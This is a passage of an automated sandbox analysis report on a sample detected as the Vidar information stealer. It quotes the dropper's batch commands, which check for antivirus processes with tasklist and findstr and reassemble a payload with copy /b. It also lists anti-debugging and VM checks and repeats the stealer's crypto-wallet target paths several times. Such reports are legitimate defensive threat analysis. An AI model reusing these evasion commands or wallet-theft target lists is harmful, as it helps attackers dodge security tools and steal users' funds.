Source: DHCBGD.11.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Amcache.hve.17.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.17.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.17.dr Binary or memory string: VMware, Inc.
Source: DHCBGD.11.dr Binary or memory string: discord.comVMware20,11696428655f
Source: Amcache.hve.17.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.17.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.17.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: DHCBGD.11.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Amcache.hve.17.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: DHCBGD.11.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: DHCBGD.11.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: DHCBGD.11.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: DHCBGD.11.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.17.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: DHCBGD.11.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: DHCBGD.11.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: DHCBGD.11.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Amcache.hve.17.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: DHCBGD.11.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: DHCBGD.11.dr Binary or memory string: outlook.office.comVMware20,11696428655s
Source: DHCBGD.11.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: DHCBGD.11.dr Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.17.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.17.dr Binary or memory string: vmci.syshbin`
Source: DHCBGD.11.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.17.dr Binary or memory string: \driver\vmci,\driver\pci
Source: DHCBGD.11.dr Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Amcache.hve.17.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: DHCBGD.11.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Amcache.hve.17.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Tenant.pif, 0000000B.00000002.4074307202.00000000016D1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: crosoft.com/profileVMwarepnacl
Source: DHCBGD.11.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Process queried: DebugPort Jump to behavior
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B145D5 BlockInput, 11_2_00B145D5
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AB5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 11_2_00AB5240
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AD5CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 11_2_00AD5CAC
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress, 0_2_004062FC
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AF88CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity, 11_2_00AF88CD
Enables debug privileges
Source: C:\Windows\SysWOW64\tasklist.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ACA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 11_2_00ACA385
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00ACA354 SetUnhandledExceptionFilter, 11_2_00ACA354

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: Tenant.pif PID: 2260, type: MEMORYSTR
Contains functionality to execute programs as a different user
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AF9369 LogonUserW, 11_2_00AF9369
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AB5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 11_2_00AB5240
Contains functionality to simulate keystroke presses
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B01AC6 SendInput,keybd_event, 11_2_00B01AC6
Contains functionality to simulate mouse events
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B051E2 mouse_event, 11_2_00B051E2
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\tasklist.exe tasklist Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 271973 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "NorwegianLivedJerseyRelaxation" Para Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Ventures + ..\Thousands + ..\Enhance + ..\Kept + ..\Everything + ..\Say C Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Tenant.pif C Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AF88CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity, 11_2_00AF88CD
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B04F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 11_2_00B04F1C
Source: file.exe, 00000000.00000003.2009804495.00000000028C3000.00000004.00000020.00020000.00000000.sdmp, Tenant.pif, 0000000B.00000002.4068931266.0000000000B56000.00000002.00000001.01000000.00000006.sdmp, Tenant.pif.2.dr, Neo.0.dr Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Tenant.pif Binary or memory string: Shell_TrayWnd
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AC885B cpuid 11_2_00AC885B
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AE0030 GetLocalTime,__swprintf, 11_2_00AE0030
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AE0722 GetUserNameW, 11_2_00AE0722
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00AD416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte, 11_2_00AD416A
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW, 0_2_00406805
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.17.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.17.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.17.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Tenant.pif, 0000000B.00000002.4073357745.0000000001479000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.17.dr Binary or memory string: MsMpEng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 11.2.Tenant.pif.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Tenant.pif.13e3318.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Tenant.pif.13e3318.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.4068394882.0000000000151000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.3255083848.0000000001790000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.3255137862.0000000004522000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.3254895213.0000000001511000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4072894428.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4074431990.0000000001764000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.3254796660.00000000015AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4074431990.000000000178F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Tenant.pif PID: 2260, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: Tenant.pif, 0000000B.00000002.4073444723.000000000152E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
